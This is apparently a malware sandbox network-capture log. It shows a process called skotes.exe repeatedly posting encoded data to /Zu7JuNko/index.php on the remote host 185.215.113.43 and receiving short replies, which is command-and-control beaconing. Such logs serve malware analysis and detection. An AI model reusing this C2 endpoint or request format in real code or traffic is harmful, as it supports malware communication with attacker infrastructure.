Nov 12, 2024 10:39:28.271382093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:29.174674034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50157	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:30.805552006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:31.714464903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50158	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:33.235043049 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:34.140722990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50159	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:35.767163992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:36.673199892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50160	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:38.188966990 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:39.105484009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50161	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:40.722325087 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:41.631457090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50162	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:43.147645950 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:44.062536955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50163	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:45.688369989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:46.592931032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50164	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:48.110264063 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:49.025046110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50165	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:50.647043943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:51.571305037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50166	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:53.095407963 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:54.014308929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50167	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:55.629817009 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:56.562592983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50168	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:58.079379082 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:59.468060017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50169	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:01.095204115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:02.008524895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50170	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:03.533536911 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:04.456377029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50172	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:06.093588114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:07.990534067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 10:40:08.007719040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 10:40:08.011651993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 10:40:08.015544891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50173	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:09.505723000 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:10.417764902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50174	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:12.050633907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:13.134426117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50175	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:14.658468962 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:15.595479012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50176	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:17.236319065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:18.147190094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50177	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:19.677509069 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:20.578788042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50178	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:22.211528063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:23.123047113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50179	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
